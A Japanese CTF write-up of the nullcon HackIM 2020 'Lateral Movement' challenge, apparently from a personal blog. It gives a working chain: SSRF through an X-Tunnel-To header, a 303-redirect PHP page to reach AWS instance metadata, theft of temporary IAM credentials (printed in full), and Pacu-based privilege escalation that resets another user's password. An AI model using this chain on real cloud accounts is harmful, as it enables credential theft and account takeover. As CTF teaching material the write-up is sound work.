こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

nullcon HackIM 2020 Writeup - Lateral Movement

Question

Uncover the new path.

http://3.12.166.246:3000/

Note: no need to bruteforce tenant. The tenant can be any string.

f:id:graneed:20200208233821p:plain

Solution

Stage1

URLにアクセスすると、リッチなUIだが静的な画面。

script.jsのbuildActionRequest関数を見ると、/api/1/というパスが存在することがわかる。

function  buildActionRequest(tenant, tag, typ, action, options) {
            var path;
            var request;
            path = "/api/1/";
            if (tenant && tag)
                path += tenant+tag + "/";
            path += typ + "?action\x3d" + action;
            request = {
                protocol: this.context.protocol,
                hostname: this.context.hostname,
                port: this.context.port,
                path: path,
                method: "POST",
                headers: {
                    "Accept": "application/json",
                    "Content-type": "application/json",
                }
            };
            if (this.context.authToken)
                request.headers.Authorization = this.context.authToken;
            if (this.context.tunnelTo)
                request.headers["X-Tunnel-To"] = this.context.tunnelTo;
            if (options) {
                if (options.headers)
                    Object.keys(options.headers).forEach(function(k) {
                        if (options.headers[k])
                            request.headers[k] = options.headers[k];
                        else
                            delete request.headers[k]
                    });
                if (options.method)
                    request.method = options.method;
                if (options.path)
                    request.path = options.path;
                if (options.data)
                    request.data = options.data
            }
            return request
 }

登場しているHTTPヘッダーをセットして、HTTPリクエストを発行してみる。

root@kali:~# curl -H 'X-Tunnel-To: hoge' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
{"errno":-3008,"code":"ENOTFOUND","syscall":"getaddrinfo","hostname":"hoge"}

X-Tunnel-Toを変更するとレスポンスに変化が現れた。指定したホスト名にリクエストを転送するようだ。

root@kali:~# curl -H 'X-Tunnel-To: localhost' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
Not permitted!

root@kali:~# curl -H 'X-Tunnel-To: example.com' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
        <head>
                <title>404 - Not Found</title>
        </head>
        <body>
                <h1>404 - Not Found</h1>
                <script type="text/javascript" src="//wpc.75674.betacdn.net/0075674/www/ec_tpm_bcon.js"></script>
        </body>
</html>

Move laterally within the cloud.というヒントが出ており、AWSインスタンスメタデータが怪しい。
しかし、インスタンスメタデータの接続先である169.254.169.254X-Tunnel-Toに指定するが、ブロックされる。

root@kali:~# curl -H 'X-Tunnel-To: 169.254.169.254' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
So smart, But still Internal not permitted!

そこで、リダイレクトで169.254.169.254へアクセスさせる。

まず、自分のサーバに169.254.169.254へ303リダイレクトするページを設置する。(302はNGだった)

root@ip-172-31-26-179:~# cat /var/www/html/api/1/metadata.php
<?php
header('Location: http://169.254.169.254/'.$_GET["q"], TRUE, 303);
?>

X-Tunnel-Toに自分のサーバのホスト名を指定すると、インスタンスメタデータが返ってきた。

root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php'
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
latest

EC2インスタンスにアタッチされているIAMロールであるlimited-roleの権限で操作が可能なアクセスキーを取得する。

root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php?q=latest/meta-data/iam/security-credentials/limited-role'
{
  "Code" : "Success",
  "LastUpdated" : "2020-02-08T14:39:41Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATCUSO7XXPHMSQ3XC",
  "SecretAccessKey" : "YnHSOXfK1L06PVYJ(snip)",
  "Token" : "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==",
  "Expiration" : "2020-02-08T20:39:42Z"
}

Stage2

入手したアクセスキーとAWS用の侵入テストツールであるpacuを使用して、情報収集およびラテラルムーブメントを行う。

github.com

手順に沿ってインストール後、起動する。

root@kali:~/pacu# python3 pacu.py

 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
 ⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
 ⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
 ⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
 ⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
 ⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
 ⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
 ⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀

No database found at /root/pacu/sqlite.db
Database created at /root/pacu/sqlite.db

What would you like to name this new session? hackim
Session hackim created.

        Pacu - https://github.com/RhinoSecurityLabs/pacu
        Written and researched by Spencer Gietzen of Rhino Security Labs - https://rhinosecuritylabs.com/

        This was built as a modular, open source tool to assist in penetration testing an AWS environment.
        For usage and developer documentation, please visit the GitHub page.

        Modules that have pre-requisites will have those listed in that modules help info, but if it is
        executed before its pre-reqs have been filled, it will prompt you to run that module then continue
        once that is finished, so you have the necessary data for the module you want to run.

        Pacu command info:
            list/ls                             List all modules
            load_commands_file <file>           Load an existing file with list of commands to execute
            search [cat[egory]] <search term>   Search the list of available modules by name or category
            help                                Display this page of information
            help <module name>                  Display information about a module
            whoami                              Display information regarding to the active access keys
            data                                Display all data that is stored in this session. Only fields
                                                  with values will be displayed
            data <service>|proxy                Display all data for a specified service or for PacuProxy
                                                  in this session
            services                            Display a list of services that have collected data in the
                                                  current session to use with the "data" command
            regions                             Display a list of all valid AWS regions
            update_regions                      Run a script to update the regions database to the newest
                                                  version
            set_regions <region> [<region>...]  Set the default regions for this session. These space-separated
                                                  regions will be used for modules where regions are required,
                                                  but not supplied by the user. The default set of regions is
                                                  every supported region for the service. Supply "all" to this
                                                  command to reset the region set to the default of all
                                                  supported regions
            run/exec <module name>              Execute a module
            set_keys                            Add a set of AWS keys to the session and set them as the
                                                  default
            swap_keys                           Change the currently active AWS key to another key that has
                                                  previously been set for this session
            import_keys <profile name>|--all    Import AWS keys from the AWS CLI credentials file (located
                                                  at ~/.aws/credentials) to the current sessions database.
                                                  Enter the name of a profile you would like to import or
                                                  supply --all to import all the credentials in the file.
            exit/quit                           Exit Pacu

        Other command info:
            aws <command>                       Run an AWS CLI command directly. Note: If Pacu detects "aws"
                                                  as the first word of the command, the whole command will
                                                  instead be run in a shell so that you can use the AWS CLI
                                                  from within Pacu. Due to the command running in a shell,
                                                  this enables you to pipe output where needed. An example
                                                  would be to run an AWS CLI command and pipe it into "jq"
                                                  to parse the data returned. Warning: The AWS CLI's
                                                  authentication is not related to Pacu. Be careful to
                                                  ensure that you are using the keys you want when using
                                                  the AWS CLI. It is suggested to use AWS CLI profiles
                                                  to solve this problem

        [ADVANCED] PacuProxy command info:
            proxy [help]                        Control PacuProxy/display help
                start <ip> [port]                 Start the PacuProxy listener - port 80 by default.
                                                    The listener will attempt to start on the IP
                                                    supplied, but some hosts don't allow this. In
                                                    this case, PacuProxy will listen on 0.0.0.0 and
                                                    use the supplied IP to stage agents and it should
                                                    work the same
                stop                              Stop the PacuProxy listener
                kill <agent_id>                   Kill an agent (stop it from running on the host)
                list/ls                           List info on remote agent(s)
                use none|<agent_id>               Use a remote agent, identified by unique integers
                                                    (use "proxy list" to see them). Choose "none" to
                                                    no longer use any proxy (route from the local
                                                    host instead)
                shell <agent_id> <command>        Run a shell command on the remote agent
                fetch_ec2_keys <agent_id>         Try to read the meta-data of the target agent to
                                                    request a set of temporary credentials for the
                                                    attached instance profile (if there is one),
                                                    then save them to the Pacu database and set
                                                    them as the active key pair
                stager sh|ps                      Generate a PacuProxy stager. The "sh" format is
                                                    for *sh shells in Unix (like bash), and the "ps"
                                                    format is for PowerShell on Windows

Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...
  User agent for this session set to:
    aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10

インスタンスメタデータから入手したクレデンシャル情報をセットする。

Pacu (hackim:No Keys Set) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.

Key alias [None]: limited-role
Access key ID [None]: ASIATCUSO7XXPHMSQ3XC
Secret access key [None]: YnHSOXfK1L06PVYJ(snip)
Session token (Optional - for temp AWS keys only) [None]: IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==

Keys saved to database.

iam__enum_users_roles_policies_groupsで、IAM関連の情報を取得する。

Pacu (hackim:limited-role) > run iam__enum_users_roles_policies_groups
  Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] Found 1 users
[iam__enum_users_roles_policies_groups] Found 3 roles
[iam__enum_users_roles_policies_groups] Found 3 policies
[iam__enum_users_roles_policies_groups] Found 3 groups
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.

[iam__enum_users_roles_policies_groups] MODULE SUMMARY:

  1 Users Enumerated
  3 Roles Enumerated
  3 Policies Enumerated
  3 Groups Enumerated
  IAM resources saved in Pacu database.

取得したIAMの情報を表示する。

Pacu (hackim:limited-role) > data

Session data:
aws_keys: [
    <AWSKey: limited-role>
]
id: 1
created: "2020-02-08 15:10:24.095578"
is_active: true
name: "hackim"
boto_user_agent: "aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10"
key_alias: "limited-role"
access_key_id: "ASIATCUSO7XXPHMSQ3XC"
secret_access_key: "******" (Censored)
session_token: "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ=="
session_regions: [
    "all"
]
IAM: {
    "Users": [
        {
            "Path": "/",
            "UserName": "poorUser",
            "UserId": "AIDATCUSO7XXPAUMHXSZ2",
            "Arn": "arn:aws:iam::211834306030:user/poorUser",
            "CreateDate": "Thu, 23 Jan 2020 15:42:45",
            "PasswordLastUsed": "Sat, 08 Feb 2020 14:12:41"
        }
    ],
    "Roles": [
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROATCUSO7XXKU7K6BBJM",
            "Arn": "arn:aws:iam::211834306030:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "Thu, 23 Jan 2020 11:20:05",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROATCUSO7XXCDG4HOBDW",
            "Arn": "arn:aws:iam::211834306030:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "Thu, 23 Jan 2020 11:20:05",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "limited-role",
            "RoleId": "AROATCUSO7XXK6KY3Y54E",
            "Arn": "arn:aws:iam::211834306030:role/limited-role",
            "CreateDate": "Thu, 23 Jan 2020 16:16:29",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Allows EC2 instances to call AWS services on your behalf.",
            "MaxSessionDuration": 3600
        }
    ],
    "Policies": [
        {
            "PolicyName": "limited-role-2",
            "PolicyId": "ANPATCUSO7XXEQI2GQ6A6",
            "Arn": "arn:aws:iam::211834306030:policy/limited-role-2",
            "Path": "/",
            "DefaultVersionId": "v11",
            "AttachmentCount": 2,
            "IsAttachable": true,
            "CreateDate": "Sat, 08 Feb 2020 07:15:23",
            "UpdateDate": "Sat, 08 Feb 2020 07:50:32"
        },
        {
            "PolicyName": "limiteds3",
            "PolicyId": "ANPATCUSO7XXJVJ3W23VX",
            "Arn": "arn:aws:iam::211834306030:policy/limiteds3",
            "Path": "/",
            "DefaultVersionId": "v1",
            "IsAttachable": true,
            "CreateDate": "Thu, 23 Jan 2020 21:20:26",
            "UpdateDate": "Thu, 23 Jan 2020 21:20:26"
        },
        {
            "PolicyName": "limited",
            "PolicyId": "ANPATCUSO7XXKNAARZWEA",
            "Arn": "arn:aws:iam::211834306030:policy/limited",
            "Path": "/",
            "DefaultVersionId": "v12",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Thu, 23 Jan 2020 15:40:20",
            "UpdateDate": "Sat, 08 Feb 2020 07:11:05"
        }
    ],
    "Groups": [
        {
            "Path": "/",
            "GroupName": "limited2",
            "GroupId": "AGPATCUSO7XXM4A7JKWKI",
            "Arn": "arn:aws:iam::211834306030:group/limited2",
            "CreateDate": "Sat, 08 Feb 2020 07:16:17"
        },
        {
            "Path": "/",
            "GroupName": "limiteds3g",
            "GroupId": "AGPATCUSO7XXCJPDNISWZ",
            "Arn": "arn:aws:iam::211834306030:group/limiteds3g",
            "CreateDate": "Thu, 23 Jan 2020 21:21:19"
        },
        {
            "Path": "/",
            "GroupName": "priv",
            "GroupId": "AGPATCUSO7XXIZJZ6F56S",
            "Arn": "arn:aws:iam::211834306030:group/priv",
            "CreateDate": "Thu, 23 Jan 2020 15:40:53"
        }
    ]
}

Proxy data:
{
  "IP": "0.0.0.0",
  "Port": 80,
  "Listening": false,
  "SSHUsername": "",
  "SSHPassword": "",
  "TargetAgent": []
}

AWSアカウントIDは211834306030であることと、poorUserというIAMユーザーがいることがわかる。

iam__privesc_scanで、他ユーザへの権限昇格を試すと、limited-roleロールにUpdateLoginProfileポリシーがアタッチされていることがわかる。UpdateLoginProfileポリシーを持っていれば、他のIAMユーザのパスワードを変更できるようだ。poorUserのパスワードを変更する。

Pacu (hackim:limited-role) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] No permissions detected yet.
[iam__privesc_scan] Data (Current User/Role > Permissions) not found, run module "iam__enum_permissions" to fetch it? (y/n) y
[iam__privesc_scan]   Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for roles:
[iam__enum_permissions]   limited-role...
[iam__enum_permissions]     Confirmed permissions for limited-role
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

  Confirmed permissions for 0 user(s).
  Confirmed permissions for role: limited-role.

[iam__privesc_scan] Escalation methods for current role:
[iam__privesc_scan]   CONFIRMED: UpdateLoginProfile
[iam__privesc_scan] Attempting confirmed privilege escalation methods...

[iam__privesc_scan]   Starting method UpdateLoginProfile...

[iam__privesc_scan]     Is there a specific user you want to target? They must already have a login profile (password for logging into the AWS Console). Enter their user name now or just hit enter to enumerate users and view a list of options:
[iam__privesc_scan] Found 1 user(s). Choose a user below.
[iam__privesc_scan]   [0] Other (Manually enter user name)
[iam__privesc_scan]   [1] All Users
[iam__privesc_scan]   [2] poorUser
[iam__privesc_scan] Choose an option: 2
[iam__privesc_scan]   Running module iam__backdoor_users_password...
[iam__backdoor_users_password] Modifying an IAM user's current password
[iam__backdoor_users_password]   User: poorUser
[iam__backdoor_users_password]     Password successfully changed
[iam__backdoor_users_password]     Password: hqw.yE.a##CfW$V3q"npK_"k"/=&d*4UV0MSItR{(ueW}Gd0[(snip)
[iam__backdoor_users_password] iam__backdoor_users_password completed.

[iam__backdoor_users_password] MODULE SUMMARY:

  1 user(s) backdoored.


[iam__privesc_scan] iam__privesc_scan completed.

[iam__privesc_scan] MODULE SUMMARY:

  Privilege escalation was successful

変更したパスワードで、AWSの管理コンソールにログインする。 f:id:graneed:20200209002646p:plain

poorUserの権限を確認するため、まずはpoorUserが所属しているIAMグループを確認する。 f:id:graneed:20200209002819p:plain

limiteds3glimited2グループに所属している。それぞれにアタッチされているポリシーを確認する。

limiteds3gグループにはAmazonS3ReadOnlyAccessがアタッチされている。 f:id:graneed:20200209003007p:plain

